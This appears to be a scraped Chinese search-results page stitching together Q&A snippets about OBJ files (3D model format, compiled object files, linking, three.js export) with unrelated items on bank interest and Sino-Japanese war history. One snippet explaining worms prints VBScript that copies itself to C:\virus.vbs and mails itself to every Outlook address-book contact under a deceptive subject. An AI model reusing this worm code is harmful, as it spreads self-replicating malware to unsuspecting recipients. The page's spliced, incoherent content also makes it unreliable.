实时搜索: obj是什么文件

obj是什么文件

369条评论 4120人喜欢 5669次阅读 379人点赞
我在用3dmax导出obj的时候,会出现导出iTrees_02_CherryTree_041和vm_v3_041_lighting_system004两个文件,这是什么文件啊,我的工程里找不到这两个文件,选择那个窗口也找不到,怎么删掉啊,因为我在导出3ds文件的时候,会出现面太多无法导出的问题 , 计算机蠕虫的原理? , 我在maya里建立了一个最简单得立方体。然后附上贴图。导出为obj格式。同时吧obj和mtl文件放在D盘根目录。
在用three自带的插件convert_obj_three.py转换为了js格式。
通过three自带的例子中的webgl_loader_jso...

3ds max导出obj文件的一些问题: 常见到的*.obj文件有两种:第一种是基于COFF(Common Object File Format)格式的OBJ文件(也称目标文件),这种格式用于编译应用程序;第二种是Alias|Wavefront公司推出的OBJ模型文件。本文对第二种obj模型文件进行分析。
3D文件格式,常见的有几种 "*.3ds","*.max","*.lw","*.mb","*.dxf","*.obj"。但是,OBJ文件的具体特征,却很少有人能给出较为圆满的描述。很多人认识OBJ文件是从使用Poser开始的,Poser是一款人体建模软件,要把Poser生成的人体导出到其它3D软件中进行再加工,就用到了OBJ文件。OBJ文件是一种标准的3D模型文件格式,很适合用于3D软件模型之间的互导。比如在3dsMax或LightWave中建了一个模型,想把它调到Maya里面渲染或动画,导出OBJ文件就是一种很好的选择。目前几乎所有知名的3D软件都支持OBJ文件的读写,不过很多软件需要通过插件才能做到这一点。
另外,作为一种优秀的文件格式,很多游戏引擎也都支持OBJ文件的读取。 3D软件模型之间的互导是一件很常见的事情,不幸的是,目前的3D软件模型导出功能都不那么完美,经常会出现缺面少线的情况,有时还会遇到导出的模型根本打不开的情况。
OBJ文件是一种文本文件格式,比起二进制文件为主、连每个块的用途也得试探来试探去的3DS,文本文件为主的OBJ对我们更友好。与3DS文件的树状[块结构]不同,OBJ文件只是很单纯的字典状结构,没有块ID来表征名字而是简单地用易懂的表意字符来表示。总之看上去是赏心悦目的样子,而苦处也就只有实际写导入代码的时候才知道了- -。OBJ文件优化了存储但劣化了读写。
如果Maya自身的模型出错,也可以先转成OBJ格式,修改之后再导回Maya。
OBJ文件 -- 概念
OBJ文件是Wavefront公司为它的一套基于工作站的3D建模和动画软件"Advanced Visualizer"开发的一种文件格式,这种格式同样也以通过Maya读写。
OBJ文件是一种文本文件,可以直接用写字板打开进行查看和编辑修改。
另外,有一种与此相关二进制文件格式(使用".MOD"后缀),二进制格式作为专利未公开,因此在这里我们不作讨论。
OBJ最近的有文档的版本是v3.0,代替以前的v2.11版本。
OBJ3.0格式支持多边形(Polygon),直线(Lines),表面(Surfaces),和自由形态曲线(Free-form Curves)。
直线和多角形通过它们的点来描述,曲线和表面则根据于它们的控制点和依附于曲线类型的额外信息来定义。这些信息支持规则和不规则的曲线,包括那些基于贝塞尔(Bezier)曲线,B样条(B-spline),基数(Cardinal/Catmull-Rom样条),和泰勒方程(Taylor equations)的曲线。
1、OBJ文件 -- 特点
(1)OBJ是一种3D模型文件,因此不包含动画、材质特性、贴图路径、动力学、粒子等信息。
(2)OBJ文件主要支持多边形(Polygons)模型。
虽然OBJ文件也支持曲线(Curves)、表面(Surfaces)、点组材质(Point Group Materials),但Maya导出的OBJ文件并不包括这些信息。
(3)OBJ文件支持三个点以上的面,这一点很有用。
很多其它的模型文件格式只支持三个点的面,所以我们导入Maya的模型经常被三角化了,这对于我们对模型的再加工甚为不利。
(4)OBJ文件支持法线和贴图坐标。
在其它软件中调整好贴图后,贴图坐标信息可以存入OBJ文件中,这样文件导入Maya后只需指定一下贴图文件路径就行了,不需要再调整贴图坐标了。

怎样才能把多个.obj文件放在一起链接,生成.exe文件: 要保证这两个obj中有且只有一个main函数,然后用link命令来进行连接。
link /OUT:输出文件.exe [参数] A.obj B.obj
比如需要用1.obj和2.obj生成a.exe,a.exe是一个控制台程序,那么就是
link /OUT:a.exe /SUBSYSTEM:CONSOLE 1.obj 2.obj
如果a.exe是一个Windows窗体程序,那么就是
link /OUT:a.exe /SUBSYSTEM:WINDOWS 1.obj 2.obj

注:Link是Visual Studio中VC的连接器,如果你安装过VC,那么link就在你的VC目录的Bin目录下。

SolidWorks 能不能转obj文件: 注:SolidWorks PartLink Object是ZEMAX非序列模式中的1种元件模型 本文描写了如何... 乃至CAD交互文件IGS,STP,SAT或其它格式也不能提供如此水平的功能。 Ze 查看原帖>>

怎样在vs2010里调用obj文件???急急急: 一般没这样做的啊,用obj干嘛,它只是一个中间文件

将.MAX,.obj等文件转换为vtk格式: 可以考虑OBJ文件里的模型先分离,然后再逐个的赋予材质。

计算机蠕虫病毒的工作原理是什么????: 一、蠕虫病毒具有自我复制能力我们以普通的VB脚本为例来看看: Set objFs=CreateObject (“Scripting.FileSystemObject”) '创建一个文件系统对象 objFs.CreateTextFile ("C:\virus.txt", 1) '通过文件系统对象的方法创建了一个TXT文件。 如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为: objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征――自我复制能力。 二、蠕虫病毒具有很强的传播性病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码: Set objOA=Wscript.CreateObject ("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists (i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add (“c:\virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing '清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing '清空objOA变量

3dmax转成obj格式如何避免三角面:

1.点击文件-导出。

2.设置导出路径,文件名自拟,类型选择.OBJ,点击保存。

3.将面设置成四边形,点击导出。

4.点击完成。

5.在指定路径里查看文件。

用three.js,导入的js模型或者obj模型都是黑色的。究竟是怎么回事。: 转成js格式里面之后 这个文件里面贴图文件名后缀是.JPG 要把你用的贴图后缀名也改成.JPG 或者js文件里面改成.jpg 应该就能对应上了

  • ff15如何

    我农业银行卡有193元,1天的利息是多少,几个月才能升到200啊: 农行活期存款的年利率是0.35%,存款193元1年的利息才0.67元。还不够支付年费10元的呢。 ...

    500条评论 3081人喜欢 1550次阅读 768人点赞
  • mtp是什么意思

    1938年春,日军从山东分两路南下,进攻 &n...: 徐州,李宗仁、临沂,台儿庄 ...

    920条评论 2287人喜欢 2676次阅读 764人点赞
  • 13代表什么

    台儿庄战役谁是指挥官: 战役由民族英雄李宗仁、白崇禧、孙连仲、汤恩伯、张自忠、田镇南、关麟征、池峰城、王铭章等抗日将领指挥。中国抗战最高统帅是蒋介石。中国军队作战序列:第五战区,司令官李宗仁,副司令李品仙,参谋长徐祖贻第二集团军:总司令孙连...

    540条评论 4788人喜欢 4292次阅读 407人点赞
  • dnf弹药和漫游哪个好玩

    抗日战争时期日军的编制,还有华北派遣军的六任司令长官分别是谁?: 一、台湾地区日军。1895年中日甲午战争后,日本侵占了台湾地区,后建立起日本台湾总督府和日本台湾军。日本总督多兼台湾军司令官,曾任总督的有桦日资纪、桂太郎、乃木希典、儿玉源太郎、佐久间左马太、安东贞美、明石元二郎、长...

    265条评论 2132人喜欢 6239次阅读 382人点赞